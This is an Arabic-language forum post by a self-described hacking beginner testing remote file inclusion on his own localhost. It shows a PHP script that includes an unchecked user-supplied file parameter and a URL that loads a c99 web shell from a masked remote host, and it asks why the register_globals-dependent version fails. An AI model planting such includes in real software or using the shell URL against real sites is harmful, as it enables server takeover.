السلام عليكم ورحمة الله وبركاته
اخواني انا لسه مبتدأ في عالم الهكر وفي اول بدايه ليا في الهكر وقفت قدامي مشكله اتمني انكم تحلوها
المشكله صادفتني في ثغرة remote file include
انا عملت ملف php عادي وحطيت جواه الانكلود عادي
كود PHP:
<?php
include($file);
?>
وبعد كده لما بروح علي المتصفح علشان اربط الشيل بالمتغير file
http://localhost/rfi.php?file=http://xxxxxxxx/c99.php?
مش بيفتح حاجه بيفضل عارض المشكله
Warning: main() [function.include]: Failed opening '' for inclusion (include_path='.;c:\php4\pear') in C:\wamp\www\rfi.php on line 3
مش عارف المشكله من ايه لكن انا عملت طريقه تانيه وهي
كود PHP:
<?php
$file = $_GET['file'];
include($file);
?>
ودخلت علي نفس الرابط ودخل علي الشيل تمام
بس حد ممكن يعرفني ايه مشكلتي
مع العلم اني غيرت اكتر من نسخة php 4 او نسخه 5
